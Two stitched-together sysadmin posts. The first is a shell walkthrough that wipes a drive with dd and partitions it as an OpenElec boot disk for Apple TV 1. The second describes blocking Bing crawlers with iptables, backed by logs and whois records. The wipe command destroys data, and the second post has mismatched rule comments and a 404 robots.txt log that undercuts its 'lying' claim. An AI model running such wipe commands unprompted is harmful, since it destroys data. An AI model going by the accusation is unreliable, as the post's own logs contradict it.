Copy the atv_restore.tar.gz to the work folder.
Copy the atv_recovery.tar.gz to the work folder.

Mount your external drive. All data will be erased on it.
*Take a note of the drive letter*

*Make sure that you have the correct drive letter*
**Double check**

Operations below are destructive, so check once more, all data will be erased on the destination drive.
In my computer, my new drive has popped up as /dev/sdf

Instructions below assume your new drive is /dev/sdf

If you are using a different drive letter, amend instructions to your drive letter.
Assuming drive is /dev/sdf in the following instructions

****Replace /dev/sdf with your drive if your drive is not using /dev/sdf*****

#Erase existing partitions/drive if not currently empty.
dd if=/dev/zero of=/dev/sdf bs=4 count=1M #Quick hacky partition / boot sector eradication, bwahahahahhem.
#Create GPT
parted -s /dev/sdf mklabel gpt
#make sure current OS knows *current* drive partition setup (i.e. no partitions, 1 gpt)
partprobe /dev/sdf

#Create EFI partition, and set bootable (35M size)
parted -s /dev/sdf mkpart primary fat32 40s 69671s
parted -s /dev/sdf set 1 boot on

#Create a “Recovery” partition (419M size)
parted -s /dev/sdf mkpart primary HFS 69672s 888871s
parted -s /dev/sdf set 2 atvrecv

#Create OS Boot partition (944MB)
parted -s /dev/sdf mkpart primary HFS 888872s 2732071s

#Create Media partition (rest of drive-262145sectors)
DISKSIZE=$(parted -s /dev/sdf unit s print | grep Disk | awk ‘{print $3}’ | sed s/s//)
let SECTORS=”${DISKSIZE}”-262145
parted -s /dev/sdf mkpart primary ext4 2732072s ${SECTORS}s

#Create SWAP partition
let SECTORS=”${SECTORS}”+1
let DISKSIZE=”${DISKSIZE}”-80
parted -s /dev/sdf mkpart primary linux-swap ${SECTORS}s ${DISKSIZE}s

#Update OS with new drive setup
partprobe /dev/sdf

#—–

#Format Partitions —-
mkfs.msdos -F 32 -n EFI /dev/sdf1 #boot
mkfs.hfsplus -v Recovery /dev/sdf2 #recovery
mkfs.hfsplus -J -v OSBoot /dev/sdf3 #Linux OS / ATV OS / OpenElec etc
mkfs.ext4 -b 4096 -L Linux /dev/sdf4 #Storage
mkswap /dev/sdf5
sync

#—
#My new _4g_ CF “HDD” looks like this:
#
#parted /dev/sdf print
#Model: TOSHIBA MK4309MAT (scsi)
#Disk /dev/sdf: 4327MB
#Sector size (logical/physical): 512B/512B
#Partition Table: gpt
#
#Number Start End Size File system Name Flags
# 1 20.5kB 35.7MB 35.7MB primary boot
# 2 35.7MB 455MB 419MB hfs+ primary atvrecv
# 3 455MB 1399MB 944MB hfs+ primary
# 4 1399MB 4193MB 2794MB ext4 primary
# 5 4193MB 4327MB 134MB linux-swap(v1) primary
#
#—

#Setup Recovery partition (sdf2) to default factory restore files.
mkdir -p /mnt/recovery
fsck.hfsplus -f /dev/sdf2
mount -t hfsplus -o rw,force /dev/sdf2 /mnt/recovery
tar -xzvf atv_restore.tar.gz -C /mnt/recovery
chown -R root:root /mnt/recovery

#Copy OpenElec files to OSBoot Linux partition (sdf3) SYSTEM, LINUX ——–
mkdir -p /mnt/linux
fsck.hfsplus -f /dev/sdf3
mount -t hfsplus -o rw,force /dev/sdf3 /mnt/linux
cp KERNEL /mnt/linux
cp SYSTEM /mnt/linux
umount /dev/sdf3

#Redo recovery partition (sdf2) to patchstick defaults now. —–
#Copy over recovery.tar.gz files
#update keyword -> bootable
#rename boot script to patchstick.sh
#make executable and own all files as root
tar -xzvf atv_recovery.tar.gz -C /mnt/recovery
echo bootable > /mnt/recovery/keyword
rm /mnt/recovery/patchstick.sh
mv /mnt/recovery/patchstick.boot /mnt/recovery/patchstick.sh

#Make sure to edit fsck.ext4 /dev/sdf3 to fsck.hfsplus /dev/sdf3 in default patchstick.sh as this may break our HFSplus partition if we fsck.ext4 it…

chmod 7777 /mnt/recovery/patchstick.sh
chown -R root.root /mnt/recovery
umount /dev/sdf2

#Setup media partition (/dev/sdf4) ——
mkdir -p /mnt/media
mount /dev/sdf4 /mnt/media
mkdir -p /mnt/media/.config
touch /mnt/media/.config/ssh_enable #I like SSH access as a default.
mkdir -p /mnt/media/.cache
mkdir -p /mnt/media/.xbmc/userdata
umount /dev/sdf4

#Prepare for takeoff, er eject drive.
sync
eject /dev/sdf

—–
This drive can now be mounted in the ATV1, and will boot into OpenElec (after a 1st reboot fsck)

=============
#Amended Boot script for reference ( patchstick.sh )

fsck.hfsplus /dev/sdf3 &> /dev/null
fsck.ext4 /dev/sdf4 &> /dev/null
mkdir /boot
mount /dev/sdf3 /boot
kexec -l /boot/KERNEL –command-line=”boot=/dev/sdf3 disk=/dev/sdf4 quiet nosplash”
kexec -e

One of our colo clients was complaining that his site was slow.

Took a look, and although load was only slightly above normal, he was doing a substantial amount of traffic throughput.

As he has multiple *busy* sites on his server, it was easier to take a look at iftop to see what was leeching the most traffic.

I could immediately see that he had a couple of spiders indexing one of his sites.
Normally this isn’t a huge issue, as they usually place nicely.

In this case, it seemed to be multiple connections from spiders.
Our robots.txt looked something like this –

cat robots.txt

User-agent: *
Disallow: /members/
Disallow: /activity/
Disallow: /ko/
Disallow: /fr/
Disallow: /zh/
Disallow: /th/
Disallow: /vi/
Disallow: /th/
Disallow: /es/
Disallow: /ja/
Disallow: /it/
Disallow: /ru/
Disallow: /ar/
Disallow: /fi/
Disallow: /pl/
Disallow: /nl/
Disallow: /pt/
Disallow: /he/
Disallow: /no/
Disallow: /sv/
Disallow: /zh-tw/
Disallow: /cs/
Disallow: /de/
Disallow: /uk/
Disallow: /el/
Disallow: /tr/


A quick check of site logs filtered by spiders showed that the majority of the traffic was coming from Bing / MSN.

There were at least 10 – 15 simultaneous spiders indexing. Not only that, but Bing / MSN was busy indexing all the lovely pages that we’d explicitly excluded in the sites robots.txt file.

*and* it was downloading the robots.txt file, then totally ignoring it.

207.46.195.241 - - [18/May/2012:03:15:04 +0000] "GET /robots.txt HTTP/1.1" 404 280 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
207.46.195.241 - - [18/May/2012:03:15:57 +0000] "GET / HTTP/1.1" 500 975 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
207.46.195.241 - - [18/May/2012:03:17:29 +0000] "GET / HTTP/1.0" 500 1534 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
207.46.195.241 - - [18/May/2012:04:17:30 +0000] "GET / HTTP/1.0" 500 1534 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
207.46.195.234 - - [18/May/2012:12:57:16 +0000] "GET /no/members/kxtjanio/activity/ HTTP/1.1" 200 14555 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.196 - - [18/May/2012:12:57:16 +0000] "GET /tr/members/poluden/activity/groups/?acpage=14 HTTP/1.1" 200 17927 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.196 - - [18/May/2012:12:57:16 +0000] "GET /zh-tw/members/bluezat/forums/ HTTP/1.1" 200 14633 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.196 - - [18/May/2012:12:57:18 +0000] "GET /ar/members/filozofem/activity/1643 HTTP/1.1" 200 12348 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.196 - - [18/May/2012:12:57:18 +0000] "GET /pt/members/chwacker/activity/groups/ HTTP/1.1" 200 18675 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.196 - - [18/May/2012:12:57:20 +0000] "GET /ru/members/maklare/points/points/ HTTP/1.1" 200 14945 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.196 - - [18/May/2012:12:57:21 +0000] "GET /pl/members/ken0115/activity/groups/?acpage=7 HTTP/1.1" 200 17936 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.196 - - [18/May/2012:12:57:21 +0000] "GET /zh/members/halilfree82/activity/favorites/ HTTP/1.1" 200 15677 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.196 - - [18/May/2012:12:57:23 +0000] "GET /zh/members/elwe/activity/mentions/ HTTP/1.1" 200 15670 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.196 - - [18/May/2012:12:57:23 +0000] "GET /no/members/afsaneh/activity/friends/?acpage=5 HTTP/1.1" 200 17101 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.196 - - [18/May/2012:12:57:25 +0000] "GET /tr/members/ahuy/activity/friends/ HTTP/1.1" 200 17458 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.196 - - [18/May/2012:12:57:25 +0000] "GET /members/zarus/activity/groups/?acpage=3 HTTP/1.1" 200 18131 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.196 - - [18/May/2012:12:57:26 +0000] "GET /ko/members/daniel/activity/friends/?acpage=4 HTTP/1.1" 200 18598 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.108.69 - - [18/May/2012:12:57:30 +0000] "GET /fr/members/poluden/activity/ HTTP/1.1" 200 15480 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.151 - - [18/May/2012:12:57:31 +0000] "GET /fr/activity/?acpage=14 HTTP/1.1" 200 17299 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.151 - - [18/May/2012:12:57:31 +0000] "GET /zh/members/zarus/activity/groups/blog.letsfx.com?acpage=1 HTTP/1.1" 200 19401 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.151 - - [18/May/2012:12:57:33 +0000] "GET /th/members/chwacker/activity/friends/?acpage=2 HTTP/1.1" 200 16651 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.110.198 - - [18/May/2012:12:57:34 +0000] "GET /vi/members/natvp/activity/groups/?acpage=5 HTTP/1.1" 200 20382 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.110.198 - - [18/May/2012:12:57:34 +0000] "GET /th/members/helen/activity/groups/?acpage=3 HTTP/1.1" 200 18099 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.109.200 - - [18/May/2012:12:57:35 +0000] "GET /groups/bep-study-buddies/activity/2971/ HTTP/1.1" 200 13887 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.109.200 - - [18/May/2012:12:57:35 +0000] "GET /ko/members/ahmedv/blogs/ HTTP/1.1" 200 15091 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.109.200 - - [18/May/2012:12:57:42 +0000] "GET /fr/members/cluadiomasu/points/ HTTP/1.1" 200 14172 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.109.200 - - [18/May/2012:12:57:42 +0000] "GET /ja/members/shengmao8620/groups/ HTTP/1.1" 200 15219 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.109.200 - - [18/May/2012:12:57:45 +0000] "GET /es/blog/tag/presentations-2/ HTTP/1.1" 200 17037 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.109.200 - - [18/May/2012:12:57:45 +0000] "GET /it/members/phuong.vo/activity/groups/ HTTP/1.1" 200 18216 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.109.200 - - [18/May/2012:12:57:48 +0000] "GET /fi/members/stella85/activity/1086 HTTP/1.1" 200 12350 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.109.200 - - [18/May/2012:12:57:48 +0000] "GET /ru/members/stella85/activity/groups/?acpage=12 HTTP/1.1" 200 21159 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.109.200 - - [18/May/2012:12:57:49 +0000] "GET /zh/members/kris/activity/friends/ HTTP/1.1" 200 18838 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.109.200 - - [18/May/2012:12:57:50 +0000] "GET /fr/members/cheryl/activity/groups/?acpage=14 HTTP/1.1" 200 19312 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.109.200 - - [18/May/2012:12:57:51 +0000] "GET /vi/members/vecttra/activity/groups/?acpage=4 HTTP/1.1" 200 17180 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.109.200 - - [18/May/2012:12:57:53 +0000] "GET /fi/members/?s=Intermediate&upage=1 HTTP/1.1" 200 13955 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.109.200 - - [18/May/2012:12:57:53 +0000] "GET /ar/members/test-user/activity/groups/?acpage=9 HTTP/1.1" 200 17499 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.151 - - [18/May/2012:12:57:53 +0000] "GET /members/admin/friends HTTP/1.1" 200 14760 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.151 - - [18/May/2012:12:57:53 +0000] "GET /members/lasso/activity/groups/?acpage=3 HTTP/1.1" 200 18101 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
207.46.13.51 - - [18/May/2012:12:57:58 +0000] "GET /fi/members/hoangdtv7986/friends HTTP/1.1" 200 13741 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.110.17 - - [18/May/2012:12:58:01 +0000] "GET /ru/members/nikoletth/points/ HTTP/1.1" 200 14970 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.151 - - [18/May/2012:12:58:01 +0000] "GET /ko/members/muratoncel3438/activity/ HTTP/1.1" 200 16100 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.151 - - [18/May/2012:12:58:01 +0000] "GET /fr/members/jack/activity/ HTTP/1.1" 200 15425 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.151 - - [18/May/2012:12:58:03 +0000] "GET /pl/members/filozofem/blogs/ HTTP/1.1" 200 13573 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.151 - - [18/May/2012:12:58:08 +0000] "GET /nl/members/mohamedyahia/activity/friends/?acpage=10 HTTP/1.1" 200 17835 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.151 - - [18/May/2012:12:58:08 +0000] "GET /pt/members/augert/activity/favorites/ HTTP/1.1" 200 15187 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.151 - - [18/May/2012:12:58:10 +0000] "GET /ko/members/chima78/activity/favorites/ HTTP/1.1" 200 15851 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.151 - - [18/May/2012:12:58:14 +0000] "GET /he/members/wildthing/activity/friends/ HTTP/1.1" 200 16883 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
207.46.13.51 - - [18/May/2012:12:58:21 +0000] "GET /no/members/filiz/activity/friends/?acpage=7 HTTP/1.1" 200 16440 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.108.69 - - [18/May/2012:12:58:30 +0000] "GET /members/david/activity/groups/?acpage=8 HTTP/1.1" 200 17208 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
207.46.13.51 - - [18/May/2012:12:58:30 +0000] "GET /pt/members/moniques/activity/groups/?acpage=7 HTTP/1.1" 200 18934 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.110.17 - - [18/May/2012:12:58:31 +0000] "GET /sv/groups/bep-study-buddies/members/?mlpage=7 HTTP/1.1" 200 14784 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.108.69 - - [18/May/2012:12:58:30 +0000] "GET /zh-tw/members/marcos/activity/friends/?acpage=2 HTTP/1.1" 200 18219 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.110.17 - - [18/May/2012:12:58:31 +0000] "GET /ja/members/sluconi/activity/groups/?acpage=3 HTTP/1.1" 200 21509 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.147 - - [18/May/2012:12:58:32 +0000] "GET /cs/members/joyull/activity/favorites/ HTTP/1.1" 200 14216 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.108.69 - - [18/May/2012:12:58:32 +0000] "GET /zh-tw/members/moniques/activity/friends/?acpage=15 HTTP/1.1" 200 18509 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.17.147 - - [18/May/2012:12:58:32 +0000] "GET /pt/members/luquejee/activity/groups/?acpage=12 HTTP/1.1" 200 18612 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
65.52.110.17 - - [18/May/2012:12:58:35 +0000] "GET /fi/activity/?acpage=66 HTTP/1.1" 200 16466 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
207.46.13.51 - - [18/May/2012:12:58:58 +0000] "GET /members/filozofem/profile/ HTTP/1.1" 200 13354 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
^C


The ranges in use by bing appear to be 207.46.*, and 65.52.*, 157.55.17.*
A quick check to see who owns those ranges confirms that yes, it is indeed the evil empire.


NetRange: 65.52.0.0 - 65.55.255.255
CIDR: 65.52.0.0/14
OriginAS:
NetName: MICROSOFT-1BLK
NetHandle: NET-65-52-0-0-1
Parent: NET-65-0-0-0-0
NetType: Direct Assignment
RegDate: 2001-02-14
Updated: 2012-03-20
Ref: http://whois.arin.net/rest/net/NET-65-52-0-0-1

NetRange: 157.54.0.0 - 157.60.255.255
CIDR: 157.60.0.0/16, 157.56.0.0/14, 157.54.0.0/15
OriginAS: AS8075
NetName: MSFT-GFS
NetHandle: NET-157-54-0-0-1
Parent: NET-157-0-0-0-0
NetType: Direct Assignment
Comment: Abuse complaints will only be responded to if sent to abuse@microsoft.com and abuse@msn.com.
RegDate: 1994-04-28
Updated: 2010-08-19
Ref: http://whois.arin.net/rest/net/NET-157-54-0-0-1


As you can see, they do have an abuse email contact. Which bounces.
Need I say anything more?

As I could readily identify that they were completely ignoring the file, even *after* downloading it from logs (eg see a request for the robots.txt file, then more requests for folders explicitly denied inside the robots.txt file! from the same ip), I decided to take some action to block them.

The following will block MSN Bot (Bing) from hammering a site.

#Block 207.46.*
iptables -A INPUT -s 65.52.0.0/14 -j DROP
#Block 65.52.*
iptables -A INPUT -s 207.46.0.0/14 -j DROP
#Block 157.55.17.*
iptables -A INPUT -s 157.55.17.0/24 -j DROP

Note that the 3rd range actually goes from 157.54.0.0 – 157.60.255.255
I wasn’t actually seeing any evilness from the 157.56 – 157.60.* range, so I’ve ignored them. Letting some Bing stuff through is a good idea (assuming they can behave themselves), as we don’t want to lose SEO goodness on one of the less^H popular search engines.

A quick tail of the logs later, and I could see that the multitude of bandwidth leeching MSN / Bing bots were gone. Plus, the site loaded much much faster.

A quick google (haha), for MSN / BING spiders doing the same thing to others revealed that we aren’t alone, and a number of people complain about exactly the same issue.

According to Bing, they do respect the protocol.

http://www.bing.com/community/site_blogs/b/webmaster/archive/2009/08/10/crawl-delay-and-the-bing-crawler-msnbot.aspx

My own findings, and a check of others findings show that they do not.

This search might be of interest –
http://www.google.com/search?&q=bing+ignoring+robots.txt

We’re not the only ones –
http://techie-buzz.com/microsoft/bing-crawler-msnbot-stupid.html

http://www.semwisdom.com/blog/msnbot-stupid-plain-evil

As we’ve verified that the ip ranges in use by the crawlers are indeed owned by Microsoft, its pretty evident that they’re lying.

C’est la vie.